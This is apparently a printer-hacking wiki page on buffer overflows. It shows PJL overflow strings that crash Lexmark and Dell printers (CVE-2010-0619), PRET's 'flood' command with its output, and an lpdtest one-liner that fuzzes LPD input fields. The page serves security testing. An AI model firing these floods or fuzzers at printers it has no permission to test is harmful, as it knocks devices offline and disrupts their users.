# Buffer Overflows
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## PJL Various *Lexmark* laser printers crash when when receiving about 1.000 characters as the INQUIRE argument (see [CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)) and sending about 3.000 characters as the SET argument to the *Dell 1720n* crashes the device: ``` @PJL INQUIRE 00000000000000000000000000000000000000000000000000000… ``` You can check for Buffer Overflows using [**PRET**](https://github.com/RUB-NDS/PRET): ```bash ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> flood Buffer size: 10000, Sending: @PJL SET [buffer] Buffer size: 10000, Sending: @PJL [buffer] Buffer size: 10000, Sending: @PJL COMMENT [buffer] Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer] Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]" Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]" Buffer size: 10000, Sending: @PJL INFO [buffer] Buffer size: 10000, Sending: @PJL ECHO [buffer] Buffer size: 10000, Sending: @PJL INQUIRE [buffer] Buffer size: 10000, Sending: @PJL DINQUIRE [buffer] Buffer size: 10000, Sending: @PJL USTATUS [buffer] Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]" Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]" Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]" Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]" Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]" Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]" ``` ## LPD daemon It allows multiple user-defined vectors like *jobname, username or hostname*, which may **not be sufficiently protected. S**everal vulnerabilities related to this malfunction has been already discovered. A simple **LPD fuzzer** to test for buffer overflows can be created using the `lpdtest` tool **included** in [PRET](https://github.com/RUB-NDS/PRET). The `in` argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output): ```bash ./lpdtest.py printer in "`python -c 'print "x"*150'`" ``` **You can find more information about these attacks in** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer_overflows)
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